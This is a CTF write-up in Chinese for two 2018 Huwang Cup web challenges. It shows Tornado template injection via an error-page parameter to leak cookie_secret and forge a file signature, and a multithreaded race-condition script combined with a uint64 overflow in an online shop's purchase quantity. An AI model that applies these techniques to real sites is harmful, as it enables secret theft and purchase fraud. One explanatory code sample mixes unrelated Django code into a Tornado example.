2018護網杯第一場 web easy tornado LTshop超詳細解答
easy tornado
這個tornado是一個python的模板,在web使用的時候給出了四個檔案,可以訪問,從提示中和url中可以看出,訪問需要檔名+檔案簽名(長度為32位,計算方式為md5(cookie_secret + md5(filename))); flag檔名題目已給出 /fllllllllllag
題目關鍵為如何獲取cookie,在Bp抓包的情況下沒有顯示cookie,由於是python的一個模板,首先想到的就是模板注入{{}},最終找到的位置是報錯網頁(隨便訪問一個檔案是更改它的簽名就可以進入),裡面的引數msg
http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF
該處將原有引數替換可以執行模板注入msg={{XXXXX}},需要注意,這裡過濾了大多數奇怪的字元,並且跟以往的題目不同的是,這裡不需要python的基類再尋找子函式,而是直接獲取環境的變數。
該思想來源於題目的提示render,render是python中的一個渲染函式,也就是一種模板,通過呼叫的引數不同,生成不同的網頁,簡單的理解例子如下:
#!/usr/bin/env python # -*- coding:utf-8 -*- from tornado.web import UIModule from tornado import escape class custom(UIModule): def render(self, *args, **kwargs): return escape.xhtml_escape('<h1>wupeiqi</h1>') #return escape.xhtml_escape('<h1>wupeiqi</h1>')
#!/usr/bin/env python # -*- coding:utf-8 -*- import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.render('index.html') class LoginHandler(BaseHandler): def get(self): ''' 當用戶訪登入的時候我們就得給他寫cookie了,但是這裡沒有寫在哪裡寫了呢? 在哪裡呢?之前寫的Handler都是繼承的RequestHandler,這次繼承的是BaseHandler是自己寫的Handler 繼承自己的類,在類了加擴充套件initialize! 在這裡我們可以在這裡做獲取使用者cookie或者寫cookie都可以在這裡做 ''' ''' 我們知道LoginHandler物件就是self,我們可不可以self.set_cookie()可不可以self.get_cookie() ''' # self.set_cookie() # self.get_cookie() self.render('login.html', **{'status': ''}) def login(request): #獲取使用者輸入 login_form = AccountForm.LoginForm(request.POST) if request.method == 'POST': #判斷使用者輸入是否合法 if login_form.is_valid():#如果使用者輸入是合法的 username = request.POST.get('username') password = request.POST.get('password') if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password: request.session['auth_user'] = username return redirect('/index/') else: return render(request,'account/login.html',{'model': login_form,'backend_autherror':'使用者名稱或密碼錯誤'}) else: error_msg = login_form.errors.as_data() return render(request,'account/login.html',{'model': login_form,'errors':error_msg}) # 如果登入成功,寫入session,跳轉index return render(request, 'account/login.html', {'model': login_form})
我們大概可以看出來,render是一個類似模板的東西,可以使用不同的引數來訪問網頁。那麼我們在進行該題目的操作時,其實引數也是傳遞過來的,那麼是什麼引數呢。
在tornado模板中,存在一些可以訪問的快速物件,例如
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
這兩個{{}}和這個字典物件也許大家就看出來了,沒錯就是這個handler.settings物件,又黑翼天使23的部落格園日誌可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是說,這裡面就是我們一下環境變數,我們正是從這裡獲取的cookie_secret
而後使用線上的或者python的計算一下就可以
import hashlib
def md5value(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def mdfive2():
filename = 'fllllllllllag'
aaa ="*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%[email protected][U"
print(md5value(filename))
# print(md5value('*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%[email protected][U'))
# print(''+md5value(filename))
print(md5value(aaa+md5value(filename)))
mdfive2()
ltshop
該題目與上一次xman開營的題目感覺好像,上次是買彩票,向伺服器傳輸七位數字,後臺一位一位比對是否中獎,根據弱語言型別特徵我們傳遞字典
這樣後臺比較時,true跟數字是相等的,即代表我們猜中了。但這次稍有不同,每個使用者註冊送20元,5元一個大辣條,5個大辣條買一個辣條之王,99999個辣條之王才可以換flag
題目中抓包,可以看到其中不同的地方
題目採用的是router的方式來傳遞資訊,即使用router管理整個請求,通過不同的路徑資訊返回不同的響應,前面也記錄過就不多說了。買什麼辣條王和flag只是在POST中的路徑提交的有所不同,沒有所謂的POST資訊,不過注意這個兌換的時候我們可以輸入數目,這個是會被當做傳遞的資訊的。
並且還有一個關鍵的地方,這個cookie的名字很奇怪,百度了一下,看到了這麼一條
可能是這個東西吧.....go語言的一個框架,這個是有用的提示。
我們的錢只能買四包,但是由於不能像彩票那個題目一樣偽造資料,那麼只有使用條件競爭了,讓伺服器來不及反應的時候就給我們不應該給的辣條。
使用多執行緒,快速訪問買大辣條的頁面,
這是天樞的whriteup中的指令碼,就是一個多執行緒訪問而已
import multiprocessing
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
import re, os, json, requests, time
import traceback
def main():
url = 'http://117.78.26.155:31358/buylt'
cookie = '47c3b1ec-45d1-4b19-9bec-025a67e203b6'
headers = {'Cookie':'go_iris_cookie='+ cookie}
k = requests.post(url,headers=headers)
print k.content
if __name__ == '__main__':
results = []
pool = multiprocessing.Pool(processes=20)
for i in range(0xff):
results.append(pool.apply_async(main,))
pool.close()
pool.join()
我們使用Bp就可以達到目的
我們的目的不是通過競爭買到走夠多的大辣條,這是不可能的,因為需要的實在是太多了。我們需要超過五個的大辣條,用來買辣條之王,還記得上文說過的go語言嗎,這裡存在uint64溢位,但是本身大辣條數目不夠是不讓點的,所以我們才要條件競爭。
Golang:專用int溢位(Golang: on-purpose int overflow) http://www.it1352.com/808569.html
溢位的原理是同棧溢位類似,我們一個數字型別的記憶體空間無法儲存超過其大小的數字,超過之後就會導致數字變化,例如1無符號16位整數,最大可以表示0-2^16-1(65535),如果輸入65536則變為0,65537則又變回1了,這是符號二進位制數字的原理的,只是我們定義的數字型別不滿足條件,顯示不全。
該題目就是這樣的一個問題,我們輸入的是份數,後臺肯定要查詢資料庫中我們的大辣條數目書否符合條件,即是否大於份數*5,才會給我們相應的辣條之王。我們的目的是資料庫判斷可以過,但是後臺也得給我們足夠的辣條之王,思路是使用整數溢位欺騙資料庫,使得我們請求的數字在伺服器看來就是1分辣條之王,而實際上是很多。
利用資料庫查詢時會*5倍,這時我們構造溢位,64位整數可以表達的上限是0xffff ffff ffff ffff,即2^64-1,超過就會又從0開始。
如果我們輸入請求數目為2^64/5 到資料庫中查詢的數量就是2^64表示的是0啊,據說可能或存在問題,
如果我們請求(2^64/5+1)。那麼到資料庫中的數字是2^64+5,由於溢位也就表示5,我們的大辣條數是滿足的啊!!,所以我們就可以得到(2^64/5+1)=3689348814741910324大辣條之王,可以換flag了。